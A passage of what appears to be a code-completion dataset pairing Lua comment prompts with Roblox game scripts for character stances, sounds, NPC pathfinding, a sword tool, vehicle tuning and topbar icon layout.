0.25)\n\ttweenJoint(RS, CFrame.new(1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0)), nil, function(X) return math.sin(math.rad(X)) end, 0.25)\n\ttweenJoint(LS, CFrame.new(-1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0)), nil, function(X) return math.sin(math.rad(X)) end, 0.25)\nend\n\nfunction Prone()\n\tHumanoid.CameraOffset = Vector3.new(0, -3.5, 0)\n\tHumanoid.WalkSpeed = 4\n\tIsStanced = true\n\tRH.Part1 = nil\n\tLH.Part1 = nil\n\tProned2 = Vector3.new(0,0.5,0.5)\n\ttweenJoint(RootJoint, CFrame.new(0,-2.5,1)* CFrame.Angles(math.rad(-90),0,math.rad(0)), nil, function(X) return math.sin(math.rad(X)) end, 0.25)\n\ttweenJoint(RS, CFrame.new(0.9,1.1,0)* CFrame.Angles(math.rad(180),math.rad(90),math.rad(0)), nil, function(X) return math.sin(math.rad(X)) end, 0.25)\n\ttweenJoint(LS, CFrame.new(-0.9,1.1,0)* CFrame.Angles(math.rad(180),math.rad(-90),math.rad(0)), nil, function(X) return math.sin(math.rad(X)) end, 0.25)\n\tCreateWeld(RightLeg, CFrame.new(-0.2,1.85,0)* CFrame.Angles(math.rad(-0),0,math.rad(-20)))\n\tCreateWeld(LeftLeg, CFrame.new(0.2,1.85,0)* CFrame.Angles(math.rad(-0),0,math.rad(20)))\nend\n\nlocal AlreadyProned = false\n\tmouse.KeyDown:connect(function(Key)\n\t\tif Key == \"c\" and Stances == 0 and not _G.Sprinting and not _G.Lean then\n\t\t\tStances = 1\n\t\t\tCrouch()\n\t\t\t_G.Crouched = true\n\t\telseif Key == \"c\" and Stances == 1 and not _G.Sprinting and not _G.Lean then\t\n\t\t\tStances = 2\n\t\t\tProne()\n\t\t\t_G.Crouched = false\n\t\t\t_G.Proned = true\n\t\t\tAlreadyProned = true\n\t\telseif Key == \"x\" and Stances == 2 and not _G.Sprinting and not _G.Lean then\n\t\t\tAlreadyProned = false\t\n\t\t\t_G.Crouched = true\n\t\t\t_G.Proned = false\n\t\t\tStances = 1\n\t\t\tCrouch()\n\t\telseif Key == \"x\" and Stances == 1 and not _G.Sprinting and not _G.Lean then\t\t\n\t\t\t_G.Crouched = false\n\t\t\tStances = 0\n\t\t\tStand()\n\t\tend\n\t\tif Key == \"e\" and not _G.Lean and Stances == 0 and not _G.Sprinting then\n\t\t\tLeanRight()\n\t\t\t_G.Lean = true\n\t\tend\n\t\tif Key == \"q\" and not _G.Lean and Stances == 0 and not _G.Sprinting then\n\t\t\tLeanLeft()\n\t\t\t_G.Lean = true\n\t\tend\n\tend)\n\tmouse.KeyUp:connect(function(Key)\n\t\tif Key == \"e\" and _G.Lean and Stances == 0 and not _G.Sprinting then\n\t\t\tStand()\n\t\t\t_G.Lean = false\n\t\tend\n\t\tif Key == \"q\" and _G.Lean and Stances == 0 and not _G.Sprinting then\n\t\t\tStand()\n\t\t\t_G.Lean = false\n\t\tend\n\tend)\n\t\nStand()\n"} +{"prompt": "-- Roblox character sound script", "completion": "\n\nlocal Players = game:GetService(\"Players\")\nlocal RunService = game:GetService(\"RunService\")\nlocal FootstepsSoundGroup = game:GetService(\"SoundService\"):WaitForChild(\"Footsteps\")\n\nlocal SOUND_DATA = {\n\tClimbing = {\n\t\tSoundId = \"rbxasset://sounds/action_footsteps_plastic.mp3\",\n\t\tLooped = true,\n\t},\n\tDied = {\n\t\tSoundId = \"rbxasset://sounds/uuhhh.mp3\",\n\t},\n\tFreeFalling = {\n\t\tSoundId = \"rbxasset://sounds/action_falling.mp3\",\n\t\tLooped = true,\n\t},\n\tGettingUp = {\n\t\tSoundId = \"rbxasset://sounds/action_get_up.mp3\",\n\t},\n\tJumping = {\n\t\tSoundId = \"rbxasset://sounds/action_jump.mp3\",\n\t},\n\tLanding = {\n\t\tSoundId = \"rbxasset://sounds/action_jump_land.mp3\",\n\t},\n\tRunning = {\n\t\tSoundId = '' ,\n\t\tLooped = true,\n\t\tPlaying = true,\n\t\tPitch = 1,\n\t},\n\tSplash = {\n\t\tSoundId = \"rbxasset://sounds/impact_water.mp3\",\n\t},\n\tSwimming = {\n\t\tSoundId = \"rbxasset://sounds/action_swim.mp3\",\n\t\tLooped = true,\n\t\tPitch = 1.6,\n\t},\n}\n\n -- wait for the first of the passed signals to fire\nlocal function waitForFirst(...)\n\tlocal shunt = Instance.new(\"BindableEvent\")\n\tlocal slots = {...}\n\n\tlocal function fire(...)\n\t\tfor i = 1, #slots do\n\t\t\tslots[i]:Disconnect()\n\t\tend\n\n\t\treturn shunt:Fire(...)\n\tend\n\n\tfor i = 1, #slots do\n\t\tslots[i] = slots[i]:Connect(fire)\n\tend\n\n\treturn shunt.Event:Wait()\nend\n"} +{"prompt": "--Spooky--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.Spook:clone()\n\t\tprtc.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "--- Removes raycast points using only vector3 values. Use the same vector3 table from SetPoints\n-- @param object BasePart or Bone, the original instance you used for SetPoints\n-- @param table of vector values that are in local space relative to the basePart", "completion": "\nfunction Hitbox:RemovePoints(object: BasePart | Bone, vectorPoints: {[number]: Vector3})\n\tfor i = #self.HitboxRaycastPoints, 1, -1 do\n\t\tlocal part = (self.HitboxRaycastPoints[i] :: Point).Instances[1]\n\n\t\tif part == object then\n\t\t\tlocal originalVector = (self.HitboxRaycastPoints[i] :: Point).Instances[2]\n\n\t\t\tfor _: number, vector: Vector3 in ipairs(vectorPoints) do\n\t\t\t\tif vector == originalVector :: Vector3 then\n\t\t\t\t\ttable.remove(self.HitboxRaycastPoints, i)\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "------------------------------------------------------------------------------\n--------------------[ FUNCTIONS ]---------------------------------------------\n------------------------------------------------------------------------------", "completion": "\n\nlocal CreateShockwave = function(Center, Radius)\n\tlocal Shockwave = Instance.new(\"Part\")\n\tShockwave.BrickColor = S.ShockwaveColor\n\tShockwave.Material = Enum.Material.SmoothPlastic\n\tShockwave.Name = \"Shockwave\"\n\tShockwave.Anchored = true\n\tShockwave.CanCollide = false\n\tShockwave.FormFactor = Enum.FormFactor.Symmetric\n\tShockwave.Size = VEC3(1, 1, 1)\n\tShockwave.BottomSurface = Enum.SurfaceType.Smooth\n\tShockwave.TopSurface = Enum.SurfaceType.Smooth\n\tlocal Mesh = Instance.new(\"SpecialMesh\")\n\tMesh.MeshType = Enum.MeshType.Sphere\n\tMesh.Scale = VEC3()\n\tMesh.Parent = Shockwave\n\tShockwave.Parent = Main.Parent\n\tShockwave.CFrame = CF(Center)\n\tspawn(function()\n\t\tfor i = 0, 1, 1 / (30 * S.ShockwaveDuration) do\n\t\t\tlocal Scale = 2 * Radius * i\n\t\t\tMesh.Scale = VEC3(Scale, Scale, Scale)\n\t\t\tShockwave.Transparency = i\n\t\t\twait()\n\t\tend\n\t\tShockwave:Destroy()\n\tend)\nend\n\nlocal RAND = function(Min, Max, Accuracy)\n\tlocal Inverse = 1 / (Accuracy or 1)\n\treturn (math.random(Min * Inverse, Max * Inverse) / Inverse)\nend\n\nlocal NumLerp = function(A, B, Alpha)\n\treturn A + (B - A) * Alpha\nend\n\nlocal Sine = function(Alpha)\n\treturn math.sin(math.rad(Alpha))\nend\n\nlocal IsIgnored = function(Obj)\n\tfor _,v in pairs(Ignore) do\n\t\tif Obj == v or Obj:IsDescendantOf(v) then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n"} +{"prompt": "--Casts a ray to find the height for the character to hover at even if the path is going up or down", "completion": "\nfunction findHeight(distanceInFront)\n\tlocal ray = Ray.new(\n Vector3.new(character.Torso.Position.X, character.Torso.Position.Y + 50, character.Torso.Position.Z - distanceInFront), \t-- origin\n (Vector3.new(0, -1, 0)).unit * 300)\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t-- direction\n\tlocal ignore = character\n\tlocal hit, position = game.Workspace:FindPartOnRay(ray, ignore)\n\treturn position.Y + 40\nend\n\nfunction highest(tableOfValues)\n\tlocal highestSoFar = tableOfValues[1]\n\tfor i = 2, #tableOfValues do\n\t\tif tableOfValues[i] > highestSoFar then\n\t\t\thighestSoFar = tableOfValues[i]\n\t\tend\n\tend\n\treturn highestSoFar\nend\n\nfunction fastStart()\n\tif started == false then\t\n\t\tstarted = true\n\t\tlocal fastStartPosition = Instance.new(\"BodyPosition\")\n\t\tfastStartPosition.Name = \"FastStart\"\n\t\tfastStartPosition.maxForce = Vector3.new(0, 15000, 0)\n\t\tfastStartPosition.Parent = character.Torso\n\t\tlocal fastStartVelocity = Instance.new(\"BodyVelocity\")\n\t\tfastStartVelocity.maxForce = Vector3.new(0, 0, 15000)\n\t\tfastStartVelocity.velocity = Vector3.new(0, 0, -150)\n\t\tfastStartVelocity.Parent = character.Torso\n\t\tfastStartPosition.position = Vector3.new(0, highest({findHeight(0), findHeight(10), findHeight(20), findHeight(30)}), 0)\n\t\twhile character.Torso.Position.Z > spawnLocation.Z - 1000 do\n\t\t\twait(1)\n\t\t\tif character:FindFirstChild(\"Torso\") == nil then\n\t\t\t\tbreak\n\t\t\tend\n\t\t\tfastStartPosition.position = Vector3.new(0, highest({findHeight(0), findHeight(10), findHeight(20), findHeight(30)}), 0)\n\t\tend\n\t\tfastStartVelocity.velocity = Vector3.new(0, 0, 0)\n\t\twait(2)\n\t\tif character:FindFirstChild(\"Torso\") then\n\t\t\tfastStartPosition:Destroy()\n\t\t\tfastStartVelocity:Destroy()\n\t\t\tlocal shield = Instance.new(\"ForceField\")\n\t\t\tshield.Name = \"Shield\"\t\t\n\t\t\tshield.Parent = character\n\t\t\tgame:GetService(\"Debris\"):AddItem(shield, 3)\n\t\tend\n\t\tfastStart:Destroy()\n\t\tscript:Destroy()\n\tend\nend\n\nfastStart() --Script starts disabled, only enabled when a player starts running\n\n\n"} +{"prompt": "-- declarations", "completion": "\n\nlocal Figure = script.Parent\nlocal Head = waitForChild(Figure, \"Head\")\nlocal Humanoid = waitForChild(Figure, \"Humanoid\")\n"} +{"prompt": "--Multibay Config", "completion": "\n\nreturn {\n\t--/ Button /--\n\t[\"ClickDetector\"] = false, -- Apply Legacy ClickDetector, but not for Alarm button\n\t--[\"CallLock\"] = {}, -- Locked Call Buttons\n\t[\"ButtonLit\"] = \"Bright blue\", -- Default Button Lit Colour\n\t[\"ButtonUnLit\"] = \"Institutional white\", -- Default Button UnLit Colour\n\t\n}\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 3428\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t7\t\t,\n\t --[[Height]]\t\t4\t\t,\n\t --[[Length]]\t\t17\t\t}\n\tTune.WeightDist\t\t= 51\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = MORE STABLE / carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "--[Constants]:", "completion": "\n\nlocal Cam = game.Workspace.CurrentCamera\n\nlocal Plr = game.Players.LocalPlayer\nlocal Mouse = Plr:GetMouse()\nlocal Body = Plr.Character or Plr.CharacterAdded:wait()\nlocal Head = Body:WaitForChild(\"Head\")\nlocal Hum = Body:WaitForChild(\"Humanoid\")\nlocal Core = Body:WaitForChild(\"HumanoidRootPart\")\nlocal IsR6 = (Hum.RigType.Value==0)\t--[Checking if the player is using R15 or R6.]\nlocal Trso = (IsR6 and Body:WaitForChild(\"Torso\")) or Body:WaitForChild(\"UpperTorso\")\nlocal Neck = (IsR6 and Trso:WaitForChild(\"Neck\")) or Head:WaitForChild(\"Neck\")\t--[Once we know the Rig, we know what to find.]\nlocal Waist = (not IsR6 and Trso:WaitForChild(\"Waist\"))\t--[R6 doesn't have a waist joint, unfortunately.]\n"} +{"prompt": "--followPath(destination)\n-------------------------------------------------------------------\n-------------------------------------------------------------------\n-------------------------------------------------------------------", "completion": "\n\n\nfunction AI()\n\n\tif Mode == 0 then\n\t\t\t--waypoint = nil\n\t\t\t--print(\"Patrol mode\")\n\t\t\twait(math.random(5,15)/10)\n\t\t\tfollowPath(hroot.Position + Vector3.new(math.random(-MaxInc, MaxInc), 0, math.random(-MaxInc, MaxInc)))\n\n\t\t\t--human:MoveTo(zombie.Torso.Position + Vector3.new(math.random(-MaxInc, MaxInc), 0, math.random(-MaxInc, MaxInc)), CurrentPart)\n\n\telseif Mode == 1 then\n\n\t\ttarget = findNearestTorso(hroot.Position)\n\n\t\tif target ~= nil then\n\t\tif CanSee == true and (hroot.Position - target.Position).Magnitude <= MinDistance then\n\t\t\twaypoint = nil\n\t\telse\n\t\t\t\n\t\tpath:ComputeAsync(hroot.Position, target.Position)\n\t\twaypoint = path:GetWaypoints()\n\n\t\tlocal connection;\n\t\tlocal function checkw(t)\n\t\t\tlocal ci = 3\n\t\t\tif ci > #t then\n\t\t\t\tci = 3\n\t\t\tend\n\t\t\tif t[ci] == nil and ci < #t then\n\t\t\t\trepeat ci = ci + 1 wait() until t[ci] ~= nil\n\t\t\t\treturn Vector3.new(1,0,0) + t[ci]\n\t\t\telse\n\t\t\t\tci = 3\n\t\t\t\treturn t[ci]\n\t\t\tend\n\t\tend\n\t\tif path.Status == Enum.PathStatus.Success then\n\t\t\t--print(\"Chasing \"..target.Parent.Name)\n\t\t\thuman.WalkToPart = nil\n\t\tif waypoint or checkw(waypoint) then\n\t\t\tif checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Walk then\n\t\t\t\thuman:MoveTo( checkw(waypoint).Position)\n\t\t\tend\n\t\t\t\n\t\t\t\n\t\t\tif connection then\n\t\t\t\tconnection:Disconnect()\n\t\t\tend\n\t\t\t\n\t\telse\n\t\t\tfor i = 3, #waypoint do\n\t\t\t\thuman:MoveTo( waypoint[i].Position )\t\n\t\t\tend\n\t\tend\n\t\telse\n\t\t\t--print(\"No Path,Patrolling\")\n\t\t\twait(math.random(10,25)/10)\n\t\t\tfollowPath(hroot.Position + Vector3.new(math.random(-MaxInc, MaxInc), 0, math.random(-MaxInc, MaxInc)))\n\n\t\tend\n\t\tend\n\t\tend\n\telseif Mode == 2 then\n\n\t\ttarget = findNearestTorso(hroot.Position)\n\n\t\tif target ~= nil then\n\t\tif CanSee == true and (hroot.Position - target.Position).Magnitude <= MinDistance then\n\t\t\twaypoint = {}\n\t\t\twaypoint = nil\n\t\telse\n\t\t\t\n\t\tpath:ComputeAsync(hroot.Position, target.Position)\n\t\twaypoint = path:GetWaypoints()\n\n\t\tlocal connection;\n\t\tlocal function checkw(t)\n\t\t\tlocal ci = 3\n\t\t\tif ci > #t then\n\t\t\t\tci = 3\n\t\t\tend\n\t\t\tif t[ci] == nil and ci < #t then\n\t\t\t\trepeat ci = ci + 1 wait() until t[ci] ~= nil\n\t\t\t\treturn Vector3.new(1,0,0) + t[ci]\n\t\t\telse\n\t\t\t\tci = 3\n\t\t\t\treturn t[ci]\n\t\t\tend\n\t\tend\n\t\tif path.Status == Enum.PathStatus.Success and Memory > 0 then\n\t\t\t--print(\"Chasing \"..target.Parent.Name)\n\t\t\thuman.WalkToPart = nil\n\t\t\tif waypoint or checkw(waypoint) then\n\t\t\t\tif checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Walk then\n\t\t\t\t\thuman:MoveTo( checkw(waypoint).Position )\n\t\t\t\tend\n\t\t\t\n\t\t\t\n\t\t\t\tif connection then\n\t\t\t\t\tconnection:Disconnect()\n\t\t\t\tend\n\t\t\t\n\t\t\telse\n\t\t\t\tfor i = 3, #waypoint do\n\t\t\t\t\thuman:MoveTo( waypoint[i].Position )\t\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\twaypoint = nil\n\t\t\t--print(\"No Path,Patrolling\")\n\t\t\twait(math.random(5,15)/10)\n\t\t\tfollowPath(hroot.Position + Vector3.new(math.random(-MaxInc, MaxInc), 0, math.random(-MaxInc, MaxInc)))\n\n\t\tend\n\t\tend\n\t\tend\n\telseif Mode == 3 then\n\t\t--\tprint(\"Guarding\")\n\tend\t\nend"} +{"prompt": "-------- OMG HAX", "completion": "\n\nr = game:service(\"RunService\")\n\n\nlocal damage = 0\n\n\nlocal slash_damage = 4\nlocal lunge_damage = 8\n\nsword = script.Parent.Handle\nTool = script.Parent\n\n\nlocal SlashSound = Instance.new(\"Sound\")\nSlashSound.SoundId = \"rbxasset://sounds\\\\swordslash.wav\"\nSlashSound.Parent = sword\nSlashSound.Volume = .7\n\nlocal LungeSound = Instance.new(\"Sound\")\nLungeSound.SoundId = \"rbxasset://sounds\\\\swordlunge.wav\"\nLungeSound.Parent = sword\nLungeSound.Volume = .5\n\nlocal UnsheathSound = Instance.new(\"Sound\")\nUnsheathSound.SoundId = \"rbxasset://sounds\\\\unsheath.wav\"\nUnsheathSound.Parent = sword\nUnsheathSound.Volume = 0.3\n\nen = true\nfunction blow(hit)\n\tif not en then return end\n\ten =false \n\tif (hit.Parent == nil) then return end -- happens when bullet hits sword\n\n\tlocal humanoid = hit.Parent:findFirstChild(\"Humanoid\")\n\tlocal vCharacter = Tool.Parent\n\tlocal vPlayer = game.Players:playerFromCharacter(vCharacter)\n\tlocal hum = vCharacter:findFirstChild(\"Humanoid\") -- non-nil if tool held by a character\n\tif humanoid~=nil and humanoid ~= hum and hum ~= nil then\n\t\t-- final check, make sure sword is in-hand\n\n\t\tlocal right_arm = vCharacter:FindFirstChild(\"Right Arm\")\n\t\tif (right_arm ~= nil) then\n\t\t\tlocal joint = right_arm:FindFirstChild(\"RightGrip\")\n\t\t\tif (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then\n\t\t\t\ttagHumanoid(humanoid, vPlayer)\n\t\t\t\thumanoid:TakeDamage(damage)\n\t\t\tend\n\t\tend\n\n\n\tend\n\twait(0.05)\n\ten = true \nend\n\n\nfunction tagHumanoid(humanoid, player)\n\tlocal creator_tag = Instance.new(\"ObjectValue\")\n\tcreator_tag.Value = player\n\tcreator_tag.Name = \"creator\"\n\tcreator_tag.Parent = humanoid\n\tdebris:AddItem(creator_tag, 3)\nend\n\nfunction untagHumanoid(humanoid)\n\tif humanoid ~= nil then\n\t\tlocal tag = humanoid:findFirstChild(\"creator\")\n\t\tif tag ~= nil then\n\t\t\ttag.Parent = nil\n\t\tend\n\tend\nend\n\n\nfunction attack()\n\tdamage = slash_damage\n\tSlashSound:play()\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Slash\"\n\tanim.Parent = Tool\nend\n\nfunction lunge()\n\tdamage = lunge_damage\n\n\tLungeSound:play()\n\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Lunge\"\n\tanim.Parent = Tool\n\t\n\t\n\tforce = Instance.new(\"BodyVelocity\")\n\tforce.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * \n\tforce.maxForce = Vector3.new(0,1e7,0) --Tool.Parent.Torso.CFrame.lookVector * 80\n\tforce.Parent = Tool.Parent.Torso\n\twait(.25)\n\tswordOut()\n\twait(.25)\n\tforce.Parent = nil\n\twait(.5)\n\tswordUp()\n\n\tdamage = slash_damage\nend\n\nfunction swordUp()\n\tTool.GripForward = Vector3.new(-1,0,0)\n\tTool.GripRight = Vector3.new(0,1,0)\n\tTool.GripUp = Vector3.new(0,0,1)\nend\n\nfunction swordOut()\n\tTool.GripForward = Vector3.new(0,0,1)\n\tTool.GripRight = Vector3.new(0,-1,0)\n\tTool.GripUp = Vector3.new(-1,0,0)\nend\n\nfunction swordAcross()\n\t-- parry\nend\n\n\nTool.Enabled = true\nlocal last_attack = 0\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\tTool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\tt = r.Stepped:wait()\n\n\tif (t - last_attack < .2) then\n\t\tlunge()\n\telse\n\t\tattack()\n\tend\n\n\tlast_attack = t\n\n\t--wait(.5)\n\n\tTool.Enabled = true\nend\n\n\nfunction onEquipped()\n\tUnsheathSound:play()\nend\n\n\nscript.Parent.Activated:connect(onActivated)\nscript.Parent.Equipped:connect(onEquipped)\n\n\nconnection = sword.Touched:connect(blow)\n\n\n"} +{"prompt": "-- KeyBinding", "completion": "\nif KEY1 then\n\tContextActionService:BindAction(\"ToggleInteraction\", toggleKeyboard, false, KEY1)\nend\n"} +{"prompt": "-- A task which can be accepted for cleanup.", "completion": "\nexport type Task =\n\tInstance |\n\tRBXScriptConnection |\n\t() -> () |\n\t{destroy: (any) -> ()} |\n\t{Destroy: (any) -> ()} |\n\t{Task}\n"} +{"prompt": "--// bolekinds", "completion": "\n\nscript.Parent.MouseButton1Click:Connect(function()\n\tif game.Players.LocalPlayer.YouCash.Value >= 1000 and not workspace[\"Floppa NPC\"][\"Floppa cube\"].autoclick.Value == true then\n\t\tscript.Parent.Parent.Parent.Ching:Play()\n\telse\n\t\tscript.Parent.Parent.Parent.Thud:Play()\n\tend\nend)\n"} +{"prompt": "-- Libraries", "completion": "\nlocal Roact = require(Vendor:WaitForChild 'Roact')\nlocal Maid = require(Libraries:WaitForChild 'Maid')\n"} +{"prompt": "-- This is responsible for positioning the topbar icons", "completion": "\nlocal requestedTopbarUpdate = false\nfunction IconController.updateTopbar()\n\tlocal function getIncrement(otherIcon, alignment)\n\t\t--local container = otherIcon.instances.iconContainer\n\t\t--local sizeX = container.Size.X.Offset\n\t\tlocal iconSize = otherIcon:get(\"iconSize\", otherIcon:getIconState()) or UDim2.new(0, 32, 0, 32)\n\t\tlocal sizeX = iconSize.X.Offset\n\t\tlocal alignmentGap = IconController[alignment..\"Gap\"]\n\t\tlocal iconWidthAndGap = (sizeX + alignmentGap)\n\t\tlocal increment = iconWidthAndGap\n\t\tlocal preOffset = 0\n\t\tif otherIcon._parentIcon == nil then\n\t\t\tlocal extendLeft, extendRight, additionalRight = IconController.getMenuOffset(otherIcon)\n\t\t\tpreOffset += extendLeft\n\t\t\tincrement += extendRight + additionalRight\n\t\tend\n\t\treturn increment, preOffset\n\tend\n\tif topbarUpdating then -- This prevents the topbar updating and shifting icons more than it needs to\n\t\trequestedTopbarUpdate = true\n\t\treturn false\n\tend\n\tcoroutine.wrap(function()\n\t\ttopbarUpdating = true\n\t\trunService.Heartbeat:Wait()\n\t\ttopbarUpdating = false\n\t\t\n\t\tfor alignment, alignmentInfo in pairs(alignmentDetails) do\n\t\t\talignmentInfo.records = {}\n\t\tend\n\n\t\tfor otherIcon, _ in pairs(topbarIcons) do\n\t\t\tif IconController.canShowIconOnTopbar(otherIcon) then\n\t\t\t\tlocal alignment = otherIcon:get(\"alignment\")\n\t\t\t\ttable.insert(alignmentDetails[alignment].records, otherIcon)\n\t\t\tend\n\t\tend\n\t\tlocal viewportSize = workspace.CurrentCamera.ViewportSize\n\t\tfor alignment, alignmentInfo in pairs(alignmentDetails) do\n\t\t\tlocal records = alignmentInfo.records\n\t\t\tif #records > 1 then\n\t\t\t\tif alignmentInfo.reverseSort then\n\t\t\t\t\ttable.sort(records, function(a,b) return a:get(\"order\") > b:get(\"order\") end)\n\t\t\t\telse\n\t\t\t\t\ttable.sort(records, function(a,b) return a:get(\"order\") < b:get(\"order\") end)\n\t\t\t\tend\n\t\t\tend\n\t\t\tlocal totalIconX = 0\n\t\t\tfor i, otherIcon in pairs(records) do\n\t\t\t\tlocal increment = getIncrement(otherIcon, alignment)\n\t\t\t\ttotalIconX = totalIconX + increment\n\t\t\tend\n\t\t\tlocal offsetX = alignmentInfo.getStartOffset(totalIconX, alignment)\n\t\t\tlocal preOffsetX = offsetX\n\t\t\tlocal containerX = TopbarPlusGui.TopbarContainer.AbsoluteSize.X\n\t\t\tfor i, otherIcon in pairs(records) do\n\t\t\t\tlocal increment, preOffset = getIncrement(otherIcon, alignment)\n\t\t\t\tlocal newAbsoluteX = alignmentInfo.startScale*containerX + preOffsetX+preOffset\n\t\t\t\tpreOffsetX = preOffsetX + increment\n\t\t\tend\n\t\t\tfor i, otherIcon in pairs(records) do\n\t\t\t\tlocal container = otherIcon.instances.iconContainer\n\t\t\t\tlocal increment, preOffset = getIncrement(otherIcon, alignment)\n\t\t\t\tlocal topPadding = otherIcon.topPadding\n\t\t\t\tlocal newPositon = UDim2.new(alignmentInfo.startScale, offsetX+preOffset, topPadding.Scale, topPadding.Offset)\n\t\t\t\tlocal isAnOverflowIcon = string.match(otherIcon.name, \"_overflowIcon-\")\n\t\t\t\tlocal repositionInfo = otherIcon:get(\"repositionInfo\")\n\t\t\t\tif repositionInfo then\n\t\t\t\t\ttweenService:Create(container, repositionInfo, {Position = newPositon}):Play()\n\t\t\t\telse\n\t\t\t\t\tcontainer.Position = newPositon\n\t\t\t\tend\n\t\t\t\toffsetX = offsetX + increment\n\t\t\t\totherIcon.targetPosition = UDim2.new(0, (newPositon.X.Scale*viewportSize.X) + newPositon.X.Offset, 0, (newPositon.Y.Scale*viewportSize.Y) + newPositon.Y.Offset)\n\t\t\tend\n\t\tend\n\n\t\t-- OVERFLOW HANDLER\n\t\t--------\n\t\tlocal START_LEEWAY = 10 -- The additional offset where the end icon will be converted to ... without an apparant change in position\n\t\tlocal function getBoundaryX(iconToCheck, side, gap)\n\t\t\tlocal additionalGap = gap or 0\n\t\t\tlocal currentSize = iconToCheck:get(\"iconSize\", iconToCheck:getIconState())\n\t\t\tlocal sizeX = currentSize.X.Offset\n\t\t\tlocal extendLeft, extendRight = IconController.getMenuOffset(iconToCheck)\n\t\t\tlocal boundaryXOffset = (side == \"left\" and (-additionalGap-extendLeft)) or (side == \"right\" and sizeX+additionalGap+extendRight)\n\t\t\tlocal boundaryX = iconToCheck.targetPosition.X.Offset + boundaryXOffset\n\t\t\treturn boundaryX\n\t\tend\n\t\tlocal function getSizeX(iconToCheck, usePrevious)\n\t\t\tlocal currentSize, previousSize = iconToCheck:get(\"iconSize\", iconToCheck:getIconState(), \"beforeDropdown\")\n\t\t\tlocal hoveringSize = iconToCheck:get(\"iconSize\", \"hovering\")\n\t\t\tif iconToCheck.wasHoveringBeforeOverflow and previousSize and hoveringSize and hoveringSize.X.Offset > previousSize.X.Offset then\n\t\t\t\t-- This prevents hovering icons flicking back and forth, demonstrated at thread/1017485/191.\n\t\t\t\tpreviousSize = hoveringSize\n\t\t\tend\n\t\t\tlocal newSize = (usePrevious and previousSize) or currentSize\n\t\t\tlocal extendLeft, extendRight = IconController.getMenuOffset(iconToCheck)\n\t\t\tlocal sizeX = newSize.X.Offset + extendLeft + extendRight\n\t\t\treturn sizeX\n\t\tend\n\n\t\tfor alignment, alignmentInfo in pairs(alignmentDetails) do\n\t\t\tlocal overflowIcon = alignmentInfo.overflowIcon\n\t\t\tif overflowIcon then\n\t\t\t\tlocal alignmentGap = IconController[alignment..\"Gap\"]\n\t\t\t\tlocal oppositeAlignment = (alignment == \"left\" and \"right\") or \"left\"\n\t\t\t\tlocal oppositeAlignmentInfo = alignmentDetails[oppositeAlignment]\n\t\t\t\tlocal oppositeOverflowIcon = IconController.getIcon(\"_overflowIcon-\"..oppositeAlignment)\n\t\t\t\t\n\t\t\t\t-- This determines whether any icons (from opposite or mid alignment) are overlapping with this alignment\n\t\t\t\tlocal overflowBoundaryX = getBoundaryX(overflowIcon, alignment)\n\t\t\t\tif overflowIcon.enabled then\n\t\t\t\t\toverflowBoundaryX = getBoundaryX(overflowIcon, oppositeAlignment, alignmentGap)\n\t\t\t\tend\n\t\t\t\tlocal function doesExceed(givenBoundaryX)\n\t\t\t\t\tlocal exceeds = (alignment == \"left\" and givenBoundaryX < overflowBoundaryX) or (alignment == \"right\" and givenBoundaryX > overflowBoundaryX)\n\t\t\t\t\treturn exceeds\n\t\t\t\tend\n\t\t\t\tlocal alignmentOffset = oppositeAlignmentInfo.getOffset()\n\t\t\t\tif not overflowIcon.enabled then\n\t\t\t\t\talignmentOffset += START_LEEWAY\n\t\t\t\tend\n\t\t\t\tlocal alignmentBorderX = (alignment == \"left\" and viewportSize.X - alignmentOffset) or (alignment == \"right\" and alignmentOffset)\n\t\t\t\tlocal closestBoundaryX = alignmentBorderX\n\t\t\t\tlocal exceededCriticalBoundary = doesExceed(closestBoundaryX)\n\t\t\t\tlocal function checkBoundaryExceeded(recordToCheck)\n\t\t\t\t\tlocal totalIcons = #recordToCheck\n\t\t\t\t\tfor i = 1, totalIcons 